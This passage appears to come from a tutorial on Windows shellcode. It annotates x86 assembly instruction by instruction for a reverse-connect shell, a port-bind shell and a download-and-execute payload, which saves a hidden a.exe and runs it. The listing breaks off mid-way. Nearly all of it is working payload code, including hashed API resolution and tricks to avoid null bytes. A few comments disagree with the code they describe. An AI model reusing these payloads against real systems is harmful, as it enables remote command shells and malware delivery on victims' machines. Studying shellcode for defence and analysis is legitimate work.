   Push the base address of the DLL being loaded from as the first argument to `find_function`.

6. `call find_function`
   Call `find_function` to resolve the symbol.

7. `mov [edi], eax`
   Save the VMA of the function in the memory location at edi.

8. `add esp, 0x08`
   Restore 8 bytes to the stack for the two arguments.

9. `add edi, 0x04`
   Add 4 to edi to move to the next position in the array that will hold the output VMA's.

10. `cmp esi, ecx`
    Check to see if esi matches with the boundary for stopping symbol lookup.

11. `jne resolve_symbols_for_dll`
    If the two addresses are not equal, continue the loop. Otherwise, fall through to the ret.

12. `ret`
    Return to the caller.

13. `EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)`
    Store the 4 byte hash for `LoadLibraryA` from `kernel32.dll` inline in the shellcode.

14. `EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)`
    Store the 4 byte hash for `CreateProcessA` from `kernel32.dll` inline in the shellcode.

15. `EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)`
    Store the 4 byte hash for `ExitProcess` from `kernel32.dll` inline in the shellcode.

16. `EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)`
    Store the 4 byte hash for `WSASocket` from `ws2_32.dll` inline in the shellcode.

17. `EMIT_4_LITTLE_ENDIAN(0xec,0xf9,0xaa,0x60)`
    Store the 4 byte hash for `connect` from `ws2_32.dll` inline in the shellcode.

18. `sub esp, 0x60`
    Allocate 0x60 bytes of stack space for use with storing function pointer VMA's and handles.

19. `mov ebp, esp`
    Use ebp as the frame pointer throughout the code.

20. `jmp get_absolute_address_forward`
    Jump forward past the middle.

21. `jmp get_absolute_address_end`
    Jump to the end now that the return address has been obtained.

22. `call get_absolute_address_middle`
    Call backwards to push the VMA that points to 'pop esi' onto the stack.

23. `pop esi`
    Pop the return address of the stack and into esi.

24. `call find_kernel32`
    Call `find_kernel32` to resolve the base address of `kernel32.dll` by whatever means.

25. `mov edx, eax`
    Save the base address of `kernel32.dll` in edx.

26. `sub esi, 0x22`
    Subtract 0x22 from esi to point to the first entry in the hash table list above. This parameter will be used as the source address for `resolve_symbols_for_dll`.

27. `lea edi, [ebp + 0x04]`
    Set edi to the frame pointer plus 0x04. This address will be used to store the VMA's of the corresponding hashes.

28. `mov ecx, esi`
    Set ecx to esi.

29. `add ecx, 0x0c`
    Add 0x0c to ecx to indicate that the stop boundary for this DLL is 12 bytes past esi. This is determined by the fact that three symbols are being loaded from `kernel32.dll`

30. `call resolve_symbols_for_dll`
    Call `resolve_symbols_for_dll` and resolve all of the requested `kernel32.dll` symbols.

31. `add ecx, 0x08`
    Add 0x08 to ecx to indicate that the stop boundary for the `ws2_32.dll` is 8 past the current value in esi. This is determined by the fact that two symbols are being loaded from `ws2_32.dll`.

32. `xor eax, eax`
    Zero eax so that the high order bytes are zero.

33. `mov ax, 0x3233`
    Set the low order bytes of eax to '32'.

34. `push eax`
    Push the null-terminated string '32' onto the stack.

35. `push 0x5f327377`
    Push the string 'ws2_' onto the stack to complete the string 'ws2_32'.

36. `mov ebx, esp`
    Save the pointer to 'ws2_32' in ebx.

37. `push ecx`
    Preserve ecx as it may be clobbered across the function call to `LoadLibraryA`.

38. `push edx`
    Preserve edx as it may be clobbered across the function call to `LoadLibraryA`.

39. `push ebx`
    Push the pointer to the string 'ws2_32' as the first argument to `LoadLibraryA`.

40. `call [ebp + 0x04]`
    Call `LoadLibraryA` and map `ws2_32.dll` into process space.

41. `pop edx`
    Restore the preserved edx.

42. `pop ecx`
    Restore the preserved ecx.

43. `mov edx, eax`
    Save the base address of `ws2_32.dll` in edx.

44. `call resolve_symbols_for_dll`
    Call `resolve_symbols_for_dll` and resolve all of the requested `ws2_32.dll` symbols.

45. `mov eax, 0x646d6301`
    Set eax to 0x01'cmd'.

46. `sar eax, 0x08`
    Shift eax to the right 8 bits to create a null after 'cmd'.

47. `push eax`
    Push 'cmd' onto the stack.

48. `mov [ebp + 0x30], esp`
    Save the pointer to 'cmd' for later use.

49. `xor eax, eax`
    Zero eax for use with passing null arguments.

50. `push eax`
    Push the `dwFlags` argument to `WSASocket` as 0.

51. `push eax`
    Push the `g` argument to `WSASocket` as 0.

52. `push eax`
    Push the `lpProtocolInfo` argument to `WSASocket` as NULL.

53. `push eax`
    Push the `protocol` argument to `WSASocket` as 0.

54. `inc eax`
    Increment eax to 1.

55. `push eax`
    Push the `type` argument to `WSASocket` as SOCK_STREAM.

56. `inc eax`
    Increment eax to 2.

57. `push eax`
    Push the `af` argument to `WSASocket` as AF_INET.

58. `call [ebp + 0x10]`
    Call `WSASocket` to allocate a socket for later use.

59. `mov esi, eax`
    Save the socket file descriptor in esi.

60. `push 0x0101017f`
    Push the address of the remote machine to connect to in network-byte order. In this case 127.1.1.1 has been used.

61. `mov eax, 0x5c110102`
    Set the high order bytes of eax to the port to connect to in network-byte order. The low order bytes should be set to the family, in this case AF_INET[3].

62. `dec ah`
    Decrement the second byte of eax to get it to zero and have the family be correctly set to AF_INET.

63. `push eax`
    Push the sin_port and sin_family attributes.

64. `mov ebx, esp`
    Set ebx to the pointer to the `struct sockaddr_in` that has been initialized on the stack.

65. `xor eax, eax`
    Zero eax.

[3]The 0x01 in the second byte of eax should actually be 0x00. It is set to 0x01 to avoid a null byte.

66. `mov al, 0x10`
    Set the low order byte of eax to 16 to represent the size of the `struct sockaddr_in`.

67. `push eax`
    Push the `namelen` argument which has been set to 16.

68. `push ebx`
    Push the `name` argument which has been set to the initialized `struct sockaddr_in` on the stack.

69. `push esi`
    Push the `s` argument as the file descriptor that was previously returned from `WSASocket`.

70. `call [ebp + 0x14]`
    Call `connect` to establish a TCP connection to the remote machine on the specified port.

71. `xor ecx, ecx`
    Zero ecx.

72. `mov cl, 0x54`
    Set the low order byte of ecx to 0x54 which will be used to represent the size of the `STARTUPINFO` and `PROCESS_INFORMATION` structures on the stack.

73. `sub esp, ecx`
    Allocate stack space for the two structures.

74. `mov edi, esp`
    Set edi to point to the `STARTUPINFO` structure.

75. `push edi`
    Preserve edi on the stack as it will be modified by the following instructions.

76. `xor eax, eax`
    Zero eax to for use with stosb to zero out the two structures.

77. `rep stosb`
    Repeat storing zero at the buffer starting at edi until ecx is zero.

78. `pop edi`
    Restore edi to its original value.

79. `mov byte ptr [edi], 0x44`
    Set the `cb` attribute of `STARTUPINFO` to 0x44 (the size of the structure).

80. `inc byte ptr [edi + 0x2d]`
    Set the `STARTF_USESTDHANDLES` flag to indicate that the `hStdInput`, `hStdOutput`, and `hStdError` attributes should be used.

81. `push edi`
    Preserve edi again as it will be modified by the stosd.

82. `mov eax, esi`
    Set eax to the file descriptor that was returned by `WSASocket`.

83. `lea edi, [edi + 0x38]`
    Load the effective address of the `hStdInput` attribute in the `STARTUPINFO` structure.

84. `stosd`
    Set the `hStdInput` attribute to the file descriptor returned from `WSASocket`.

85. `stosd`
    Set the `hStdOutput` attribute to the file descriptor returned from `WSASocket`.

86. `stosd`
    Set the `hStdError` attribute to the file descriptor returned from `WSASocket`.

87. `pop edi`
    Restore edi to its original value.

88. `xor eax, eax`
    Zero eax for use with passing zero'd arguments.

89. `lea esi, [edi + 0x44]`
    Load the effective address of the `PROCESS_INFORMATION` structure into esi.

90. `push esi`
    Push the pointer to the `lpProcessInformation` structure.

91. `push edi`
    Push the pointer to the `lpStartupInfo` structure.

92. `push eax`
    Push the `lpStartupDirectory` argument as NULL.

93. `push eax`
    Push the `lpEnvironment` argument as NULL.

94. `push eax`
    Push the `dwCreationFlags` argument as 0.

95. `inc eax`
    Increment eax to 1.

96. `push eax`
    Push the `bInheritHandles` argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.

97. `dec eax`
    Decrement eax back to zero.

98. `push eax`
    Push the `lpThreadAttributes` argument as NULL.

99. `push eax`
    Push the `lpProcessAttributes` argument as NULL.

100. `push [ebp + 0x30]`
     Push the `lpCommandLine` argument as the pointer to 'cmd'.

101. `push eax`
     Push the `lpApplicationName` argument as NULL.

102. `call [ebp + 0x08]`
     Call `CreateProcessA` to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.

103. `call [ebp + 0x0c]`
     Call `ExitProcess` as the parent no longer needs to execute.

8.3.2 Portbind

1. `jmp startup_bnc`
   Jump to the startup bounce point skipping past `find_kernel32` and `find_function`.

2. `jmp startup`
   Jump to the actual entry point.

3. `lodsd`
   Load the current function hash stored at esi into eax.

4. `push eax`
   Push the hash to the stack as the second argument to `find_function`.

5. `push edx`
   Push the base address of the DLL being loaded from as the first argument to `find_function`.

6. `call find_function`
   Call `find_function` to resolve the symbol.

7. `mov [edi], eax`
   Save the VMA of the function in the memory location at edi.

8. `add esp, 0x08`
   Restore 8 bytes to the stack for the two arguments.

9. `add edi, 0x04`
   Add 4 to edi to move to the next position in the array that will hold the output VMA's.

10. `cmp esi, ecx`
    Check to see if esi matches with the boundary for stopping symbol lookup.

11. `jne resolve_symbols_for_dll`
    If the two addresses are not equal, continue the loop. Otherwise, fall through to the ret.

12. `ret`
    Return to the caller.

13. `EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)`
    Store the 4 byte hash for `LoadLibraryA` from `kernel32.dll` inline in the shellcode.

14. `EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)`
    Store the 4 byte hash for `CreateProcessA` from `kernel32.dll` inline in the shellcode.

15. `EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)`
    Store the 4 byte hash for `ExitProcess` from `kernel32.dll` inline in the shellcode.

16. `EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)`
    Store the 4 byte hash for `WSASocket` from `ws2_32.dll` inline in the shellcode.

17. `EMIT_4_LITTLE_ENDIAN(0xa4,0x1a,0x70,0xc7)`
    Store the 4 byte hash for `bind` from `ws2_32.dll` inline in the shellcode.

18. `EMIT_4_LITTLE_ENDIAN(0xa4,0xad,0x2e,0xe9)`
    Store the 4 byte hash for `listen` from `ws2_32.dll` inline in the shellcode.

19. `EMIT_4_LITTLE_ENDIAN(0xe5,0x49,0x86,0x49)`
    Store the 4 byte hash for `accept` from `ws2_32.dll` inline in the shellcode.

20. `sub esp, 0x60`
    Allocate 0x60 bytes of stack space for use with storing VMA's of resolved symbols.

21. `mov ebp, esp`
    Use ebp as the frame pointer for the rest of the code.

22. `jmp get_absolute_address_forward`
    Jump forward past the middle.

23. `jmp get_absolute_address_end`
    Jump to the end now that the return address has been obtained.

24. `call get_absolute_address_middle`
    Call backwards to push the VMA that points to 'pop esi' onto the stack.

25. `pop esi`
    Pop the return address of the stack and into esi.

26. `call find_kernel32`
    Call `find_kernel32` to resolve the base address of `kernel32.dll` by whatever means.

27. `mov edx, eax`
    Save the base address of `kernel32.dll` in edx.

28. `sub esi, 0x2a`
    Subtract 0x22 from esi to point to the first entry in the hash table list above. This parameter will be used as the source address for `resolve_symbols_for_dll`.

29. `lea edi, [ebp + 0x04]`
    Set edi to the frame pointer plus 0x04. This address will be used to store the VMA's of the corresponding hashes.

30. `mov ecx, esi`
    Set ecx to esi.

31. `add ecx, 0x0c`
    Add 0x0c to ecx to indicate that the stop boundary for this DLL is 12 bytes past esi. This is determined by the fact that three symbols are being loaded from `kernel32.dll`

32. `call resolve_symbols_for_dll`
    Call `resolve_symbols_for_dll` and resolve all of the requested `kernel32.dll` symbols.

33. `add ecx, 0x10`
    Add 0x10 to ecx to indicate that the stop boundary for the `ws2_32.dll` is 16 bytes past the current value in esi. This is determined by the fact that two symbols are being loaded from `ws2_32.dll`.

34. `xor eax, eax`
    Zero eax so that the high order bytes are zero.

35. `mov ax, 0x3233`
    Set the low order bytes of eax to '32'.

36. `push eax`
    Push the null-terminated string '32' onto the stack.

37. `push 0x5f327377`
    Push the string 'ws2_' onto the stack to complete the string 'ws2_32'.

38. `mov ebx, esp`
    Save the pointer to 'ws2_32' in ebx.

39. `push ecx`
    Preserve ecx as it may be clobbered across the function call to `LoadLibraryA`.

40. `push edx`
    Preserve edx as it may be clobbered across the function call to `LoadLibraryA`.

41. `push ebx`
    Push the pointer to the string 'ws2_32' as the first argument to `LoadLibraryA`.

42. `call [ebp + 0x04]`
    Call `LoadLibraryA` and map `ws2_32.dll` into process space.

43. `pop edx`
    Restore the preserved edx.

44. `pop ecx`
    Restore the preserved ecx.

45. `mov edx, eax`
    Save the base address of `ws2_32.dll` in edx.

46. `call resolve_symbols_for_dll`
    Call `resolve_symbols_for_dll` and resolve all of the requested `ws2_32.dll` symbols.

47. `mov eax, 0x646d6301`
    Set eax to 0x01'cmd'.

48. `sar eax, 0x08`
    Shift eax to the right 8 bits to create a null after 'cmd'.

49. `push eax`
    Push 'cmd' onto the stack.

50. `mov [ebp + 0x34], esp`
    Save the pointer to 'cmd' for later use.

51. `xor eax, eax`
    Zero eax for use with passing null arguments.

52. `push eax`
    Push the `dwFlags` argument to `WSASocket` as 0.

53. `push eax`
    Push the `g` argument to `WSASocket` as 0.

54. `push eax`
    Push the `lpProtocolInfo` argument to `WSASocket` as NULL.

55. `push eax`
    Push the `protocol` argument to `WSASocket` as 0.

56. `inc eax`
    Increment eax to 1.

57. `push eax`
    Push the `type` argument to `WSASocket` as SOCK_STREAM.

58. `inc eax`
    Increment eax to 2.

59. `push eax`
    Push the `af` argument to `WSASocket` as AF_INET.

60. `call [ebp + 0x10]`
    Call `WSASocket` to allocate a socket for later use.

61. `mov esi, eax`
    Save the socket file descriptor in esi.

62. `xor eax, eax`
    Zero eax for use as passing zero'd arguments.

63. `xor ebx, ebx`
    Zero ebx.

64. `push eax`
    Push zero.

65. `push eax`
    Push zero.

66. `push eax`
    Push the `sin_addr` attribute of `struct sockaddr_in`.

67. `mov eax, 0x5c110102`
    Set the high order bytes of eax to the port that is to be bound to and the low order bytes to AF_INET.

68. `dec ah`
    Fix the `sin_family` attribute such that it is set appropriately.

69. `push eax`
    Push the `sin_port` and `sin_family` attributes.

70. `mov eax, esp`
    Set eax to the pointer to the initialized `struct sockaddr_in` structure.

71. `mov bl, 0x10`
    Set the low order byte of ebx to 0x10 to signify the size of the structure.

72. `push ebx`
    Push the `namelen` argument as 0x10.

73. `push eax`
    Push the `name` argument as the pointer to the `struct sockaddr_in` structure.

74. `push esi`
    Push the file descriptor that was returned from `WSASocket`.

75. `call [ebp + 0x14]`
    Call `bind` to bind to the selected port.

76. `push ebx`
    Push 0x10 for use as the `backlog` argument to `listen`.

77. `push esi`
    Push the file descriptor that was returned from `WSASocket`.

78. `call [ebp + 0x18]`
    Call `listen` to begin listening on the port that was just bound to.

79. `push ebx`
    Push 0x10 onto the stack.

80. `mov edx, esp`
    Save the pointer to 0x10 in edx.

81. `sub esp, ebx`
    Allocate 16 bytes of stack space for use as the output `addr` to the `accept` call.

82. `mov ecx, esp`
    Save the pointer to the output buffer in ecx.

83. `push edx`
    Push the `addrlen` argument as the pointer to the 0x10 on the stack.

84. `push ecx`
    Push text `addr` argument as the pointer to the output `struct sockaddr_in` on the stack.

85. `push esi`
    Push the file descriptor that was returned by `WSASocket`.

86. `call [ebp + 0x1c]`
    Call `accept` and wait for a client connection to arrive. The client connection will be used for the redirected output from the command interpreter.

87. `mov esi, eax`
    Save the client file descriptor in esi.

88. `xor ecx, ecx`
    Zero ecx.

89. `mov cl, 0x54`
    Set the low order byte of ecx to 0x54 which will be used to represent the size of the `STARTUPINFO` and `PROCESS_INFORMATION` structures on the stack.

90. `sub esp, ecx`
    Allocate stack space for the two structures.

91. `mov edi, esp`
    Set edi to point to the `STARTUPINFO` structure.

92. `push edi`
    Preserve edi on the stack as it will be modified by the following instructions.

93. `xor eax, eax`
    Zero eax to for use with stosb to zero out the two structures.

94. `rep stosb`
    Repeat storing zero at the buffer starting at edi until ecx is zero.

95. `pop edi`
    Restore edi to its original value.

96. `mov byte ptr [edi], 0x44`
    Set the `cb` attribute of `STARTUPINFO` to 0x44 (the size of the structure).

97. `inc byte ptr [edi + 0x2d]`
    Set the `STARTF_USESTDHANDLES` flag to indicate that the `hStdInput`, `hStdOutput`, and `hStdError` attributes should be used.

98. `push edi`
    Preserve edi again as it will be modified by the stosd.

99. `mov eax, esi`
    Set eax to the client file descriptor that was returned by `accept`.

100. `lea edi, [edi + 0x38]`
Load the effective address of the `hStdInput` attribute in the `STARTUPINFO` structure.

101. `stosd`
Set the `hStdInput` attribute to the file descriptor returned from `accept`.

102. `stosd`
Set the `hStdOutput` attribute to the file descriptor returned from `accept`.

103. `stosd`
Set the `hStdError` attribute to the file descriptor returned from `accept`.

104. `pop edi`
Restore edi to its original value.

105. `xor eax, eax`
Zero eax for use with passing zero'd arguments.

106. `lea esi, [edi + 0x44]`
Load the effective address of the `PROCESS_INFORMATION` structure into esi.

107. `push esi`
Push the pointer to the `lpProcessInformation` structure.

108. `push edi`
Push the pointer to the `lpStartupInfo` structure.

109. `push eax`
Push the `lpStartupDirectory` argument as NULL.

110. `push eax`
Push the `lpEnvironment` argument as NULL.

111. `push eax`
Push the `dwCreationFlags` argument as 0.

112. `inc eax`
Increment eax to 1.

113. `push eax`
Push the `bInheritHandles` argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.

114. `dec eax`
Decrement eax back to zero.

115. `push eax`
Push the `lpThreadAttributes` argument as NULL.

116. `push eax`
Push the `lpProcessAttributes` argument as NULL.

117. `push [ebp + 0x34]`
Push the `lpCommandLine` argument as the pointer to 'cmd'.

118. `push eax`
Push the `lpApplicationName` argument as NULL.

119. `call [ebp + 0x08]`
Call `CreateProcessA` to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.

120. `call [ebp + 0x0c]`
Call `ExitProcess` as the parent no longer needs to execute.

8.4 Advanced Shellcode

8.4.1 Download/Execute

The following is an analysis for the `Download/Execute` assembly:

1. `jmp initialize_url_bnc_1`
Jump to bounce point 1 to keep everything in signed byte range.

2. `jmp initialize_url_bnc_2`
Jump to bounce point 2 to keep everything in signed byte range.

3. `lodsd`
Load the current function hash stored at esi into eax.

4. `push eax`
Push the hash to the stack as the second argument to `find_function`.

5. `push edx`
Push the base address of the DLL being loaded from as the first argument to `find_function`.

6. `call find_function`
Call `find_function` to resolve the symbol.

7. `mov [edi], eax`
Save the VMA of the function in the memory location at edi.

8. `add esp, 0x08`
Restore 8 bytes to the stack for the two arguments.

9. `add edi, 0x04`
Add 4 to edi to move to the next position in the array that will hold the output VMA's.

10. `cmp esi, ecx`
    Check to see if esi matches with the boundary for stopping symbol lookup.

11. `jne resolve_symbols_for_dll`
    If the two addresses are not equal, continue the loop. Otherwise, fall through to the ret.

12. `ret`
    Return to the caller.

13. `EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)`
    Store the 4 byte hash for `LoadLibraryA` from `kernel32.dll` inline in the shellcode.

14. `EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c)`
    Store the 4 byte hash for `CreateFile` from `kernel32.dll` inline in the shellcode[4].

15. `EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8)`
    Store the 4 byte hash for `WriteFile` from `kernel32.dll` inline in the shellcode.

16. `EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f)`
    Store the 4 byte hash for `CloseHandle` from `kernel32.dll` inline in the shellcode.

17. `EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)`
    Store the 4 byte hash for `CreateProcessA` from `kernel32.dll` inline in the shellcode.

18. `EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)`
    Store the 4 byte hash for `ExitProcess` from `kernel32.dll` inline in the shellcode.

19. `EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57)`
    Store the 4 byte hash for `InternetOpenA` from `wininet.dll` inline in the shellcode.

20. `EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e)`
    Store the 4 byte hash for `InternetOpenUrlA` from `wininet.dll` inline in the shellcode.

21. `EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f)`
    Store the 4 byte hash for `InternetReadFile` from `wininet.dll` inline in the shellcode.

[4]The hash for `CreateFile` is actually 0x7c0017a5. The problem is that this would create a null in the shellcode. As such, the hash has been entered with the null byte set to 0x01 instead of 0x00.

22. `pop esi`
    Pop the VMA of the URL at the end of the shellcode into esi.

23. `sub esp, 0x7c`
    Allocate 0x7c bytes of stack space.

24. `mov ebp, esp`
    Use ebp as the frame pointer for the rest of the code.

25. `call find_kernel32`
    Call `find_kernel32` to resolve the base address of `kernel32.dll` by whatever means.

26. `mov edx, eax`
    Save the base address of `kernel32.dll` in edx.

27. `jmp get_absolute_address_forward`
    Jump over the middle to the call.

28. `jmp get_absolute_address_end`
    Jump to the end now that the VMA of 'pop eax' is on the stack.

29. `call get_absolute_address_middle`
    Call backwards to push the VMA of 'pop eax' onto the stack.

30. `pop eax`
    Pop the VMA of 'pop eax' into eax for use with referencing the starting point of the function hashes.

31. `jmp initialize_url_bnc_2_skip`
    Skip over bounce point 2 to continue execution.

32. `jmp initialize_url_bnc_3`
    Jump to bounce point 3 to keep within signed byte range.

33. `lea edi, [ebp + 0x40]`
    Load the effective address of ebp + 0x40 for use with storing the fixed version of the URL. The fixed version will be properly null terminated.

34. `movsb`
    Move the byte from esi into edi.

35. `cmp byte ptr [esi - 0x01], 0xff`
    Has the end of the URL been found (signified by 0xff)?

36. `jne copy_download_url_loop`
    If not, continue looping through the string. Otherwise, fall through.

37. `dec edi`
    Decrement edi to point to the character where the null terminator should be.

38. `not byte ptr [edi]`
    Invert the bits at that byte to get it to 0x00 instead of 0xff.

39. `mov esi, eax`
    Move the address of 'pop eax' into esi.

40. `sub esi, 0x3a`
    Offset the address to the start of the first function hash in the shellcode.

41. `dec [esi + 0x06]`
    Decrement the byte in the `CreateFile` hash to fix it to be a null byte[5]

42. `lea edi, [ebp + 0x04]`
    Load the address of the output buffer to store the VMA of the resolved symbols into edi.

43. `mov ecx, esi`
    Set ecx to the first hash entry address.

44. `add ecx, 0x18`
    Add 0x18 to ecx to signify the boundary for the last function to be resolved from `kernel32.dll`. This is determined by the fact that 6 functions are being resolved.

45. `call resolve_symbols_for_dll`
    Resolve the given set of symbols for `kernel32.dll`.

46. `add ecx, 0x0c`
    Add 0x0c to ecx to signify the boundary for the last function to be resolved from `wininet.dll`. This is determined by the fact that 3 functions are being resolved.

47. `mov eax, 0x74656e01`
    Set eax to '0x01net'.

48. `sar eax, 0x08`
    Shift eax 8 bits to the right to eliminate the 0x01 and put a null byte in the high order byte of eax.

49. `push eax`
    Push 'net' onto the stack.

50. `push 0x696e6977`
    Push 'wini' onto the stack completing 'wininet'.

51. `mov ebx, esp`
    Set ebx to the pointer to the null-terminated 'wininet' string.

52. `push ecx`
    Push ecx to preserve it across the call to `LoadLibraryA`.

[5]This requires that the shellcode is running from a writable memory segment.

53. `push edx`
    Push edx to preserve it across the call to `LoadLibraryA`.

54. `push ebx`
    Push the pointer to the 'wininet' string as the first argument to `LoadLibraryA`.

55. `call [ebp + 0x04]`
    Call `LoadLibraryA` and map `wininet.dll` into process space.

56. `pop edx`
    Restore edx to its original value.

57. `pop ecx`
    Restore ecx to its original value.

58. `mov edx, eax`
    Save the base address of `wininet.dll` in edx.

59. `call resolve_symbols_for_dll`
    Load the functions for `wininet.dll`.

60. `xor eax, eax`
    Zero eax for use as null arguments.

61. `push eax`
    Push the `dwFlags` argument as 0.

62. `push eax`
    Push the `lpszProxyBypass` argument as NULL.

63. `push eax`
    Push the `lpszProxyName` argument as NULL.

64. `push eax`
    Push the `dwAccessType` argument as 0.

65. `push eax`
    Push the `lpszAgent` argument as NULL.

66. `call [ebp + 0x1c]`
    Call `InternetOpenA` to create an internet handle for use with `InternetOpenUrlA`.

67. `mov [ebp + 0x34], eax`
    Save the handle returned from `InternetOpenA` for later use.

68. `xor eax, eax`
    Zero eax for use as null arguments.

69. `push eax`
    Push the `dwContext` argument as NULL.

70. `push eax`
    Push the `dwFlags` argument as 0.

71. `push eax`
    Push the `dwHeadersLength` argument as 0.

72. `push eax`
    Push the `lpszHeaders` argument as NULL.

73. `lea ebx, [ebp + 0x40]`
    Load the address of the URL into ebx.

74. `push ebx`
    Push the pointer to the URL as the `lpszUrl` argument.

75. `push [ebp + 0x34]`
    Push the handle returned from `InternetOpenA` as the `hInternet` argument.

76. `call [ebp + 0x20]`
    Call `InternetOpenUrlA` to open a resource-associated handle connected to the provided URL.

77. `mov [ebp + 0x38], eax`
    Save the handle returned from `InternetOpenUrlA` for later use.

78. `jmp initialize_url_bnc_3_skip`
    Skip over bounce point 3.

79. `jmp initialize_url_bnc_4`
    Jump to bounce point 4 to keep everything in signed byte range.

80. `xor eax, eax`
    Zero eax.

81. `mov al, 0x65`
    Set the low order byte of eax to 'e'.

82. `push eax`
    Push 'e'.

83. `push 0x78652e61`
    Push 'a.ex' to complete the 'a.exe' string on the stack.

84. `mov [ebp + 0x30], esp`
    Save the pointer to 'a.exe' for later use.

85. `xor eax, eax`
    Zero eax.

86. `push eax`
    Push the `hTemplateFile` argument as NULL.

87. `mov al, 0x82`
    Set the low order byte of eax to 0x82. This number represents the flags FILE_ATTRIBUTE_NORMAL and FILE_ATTRIBUTE_HIDDEN.

88. `push eax`
    Push the two flags as the `dwFlagsAndAttributes` argument.

89. `mov al, 0x02`
    Set the low order byte of eax to 0x02. This number represents the disposition CREATE_ALWAYS.

90. `push eax`
    Push the disposition as the `dwCreationDisposition` argument.

91. `xor al, al`
    Zero the low order byte of eax.

92. `push eax`
    Push the `lpSecurityAttributes` argument as NULL.

93. `push eax`
    Push the `dwShareMode` argument as 0.

94. `mov al, 0x40`
    Set the low order byte of eax to 0x40. This will be used in its final form to represent the GENERIC_WRITE access flag.

95. `sal eax, 0x18`
    Shift eax to the left 18 bits to set it to GENERIC_WRITE.

96. `push eax`
    Push the `dwDesiredAccess` argument with write permission requested.

97. `push [ebp + 0x30]`
    Push the pointer to the file name as the `lpFileName` argument.

98. `call [ebp + 0x08]`
    Call `CreateFile` to create `a.exe` as a hidden file and open it with write permssion.

99. `mov [ebp + 0x3c], eax`
    Save the file handle for later use.

100. `xor eax, eax`
     Zero eax.

101. `mov ax, 0x010c`
     Set the low order bytes of eax to 268.

102. `sub esp, eax`
     Allocate 268 bytes of stack space.

103. `mov esi, esp`
Use esi as the frame pointer during the download phase.

104. `lea ebx, [esi + 0x04]`
Set ebx to by 4 bytes offset from the frame pointer. This location will hold the number of bytes read from the wire.

105. `push ebx`
Push the pointer to store the number of bytes read as the `lpdwNumberOfBytesRead` argument.

106. `mov ax, 0x0104`
Set the low order bytes of eax to 260.

107. `push eax`
Push the `dwNumberOfBytesToRead` argument set to 260.

108. `lea eax, [esi + 0x08]`
Set eax to the buffer to use as storage for the read.

109. `push eax`
Push the `lpBuffer` pointer to the 260 byte buffer to read data into.

110. `push [ebp + 0x38]`
Push the handle that was returned from `InternetOpenUrlA` as the `hFile` argument.

111. `call [ebp + 0x24]`
Call `InternetReadFile` and attempt to read data from the wire. This call will block if data is not available.

112. `mov eax, [esi + 0x04]`
Move the number of bytes actually read into eax.

113. `test eax, eax`
Bitwise test eax to see if the end of the file has been reached.

114. `jz download_finished`
If ZF is set then no bytes were read an as such the end of the file has been reached. Jump to the end of the loop. Otherwise, fall through.

115. `xor eax, eax`
Zero eax

116. `push eax`
Push the `lpOverlapped` argument as NULL.

117. `lea eax, [esi + 0x04]`
Load the address of the buffer to hold the actual number of bytes written into eax.

118. `push eax`
Push the pointer to hold the number of bytes written as the `lpNumberOfBytesWritten` argument.

119. `push [esi + 0x04]`
Push the number of bytes that were read from the wire as the `nNumberOfBytesToWrite` argument.

120. `lea eax, [esi + 0x08]`
Load the address of the buffer that was read into from the wire.

121. `push eax`
Push the pointer to the buffer that holds the actual data as the `lpBuffer` argument.

122. `push [ebp + 0x3c]`
Push the handle to the file that was returned from the previous call to `CreateFile` as the `hFile` argument.

123. `call [ebp + 0x0c]`
Call `WriteFile` to write the data read from the wire to the file.

124. `jmp download_loop`
Jump back to the top to continue reading more data from the wire.

125. `push [ebp + 0x3c]`
Push the handle to the file that was returned from the previous call to `CreateFile`.

126. `call [ebp + 0x10]`
Call `CloseHandle` to release the file handle as download phase is completed.

127. `xor eax, eax`
Zero eax.

128. `mov ax, 0x010c`
Set the low order bytes of eax to 268.

129. `add esp, eax`
Restore 268 bytes of stack space.

130. `jmp initialize_url_bnc_4_skip`
Jump past bounce point 4.

131. `jmp initialize_url_bnc_end`
Jump to the last bounce point.

132. `xor ecx, ecx`
Zero ecx.

133. `mov cl, 0x54`
Set the low order byte of ecx to 0x54 to account for the size of the `STARTUPINFO` and `PROCESS_INFORMATION` structures.

134. `sub esp, ecx`
Allocate 0x54 bytes of stack space for the two structures.

135. `mov edi, esp`
Save the pointer in edi.

136. `xor eax, eax`
Zero eax to use as for zero'ing out the buffer.

137. `rep stosb`
Repeat storing zero at edi until ecx is zero.

138. `mov edi, esp`
Restore edi to its original value.

139. `mov byte ptr [edi], 0x44`
Set the `cb` attribute of `STARTUPINFO` to the size of the structure, specifically 0x44.

140. `lea esi, [edi + 0x44]`
Load the address of the `PROCESS_INFORMATION` structure into esi.

141. `push esi`
Push the `lpProcessInformation` argument pointer.

142. `push edi`
Push the `lpStartupInfo` argument pointer.

143. `push eax`
Push the `lpCurrentDirectory` argument as NULL.

144. `push eax`
Push the `lpEnvironment` argument as NULL.

145. `push eax`
Push the `dwCreationFlags` argument as 0.

146. `push eax`
Push the `bInheritHandles` argument as FALSE.

147. `push eax`
Push the `lpThreadAttributes` argument as NULL.

148. `push eax`
Push the `lpProcessAttributes` argument as NULL.

149. `push [ebp + 0x30]`
Push the pointer to the name of the file (a.exe) as the `lpCommandLine` argument.

150. `push eax`
Push the `lpApplicationName` argument as nULL.

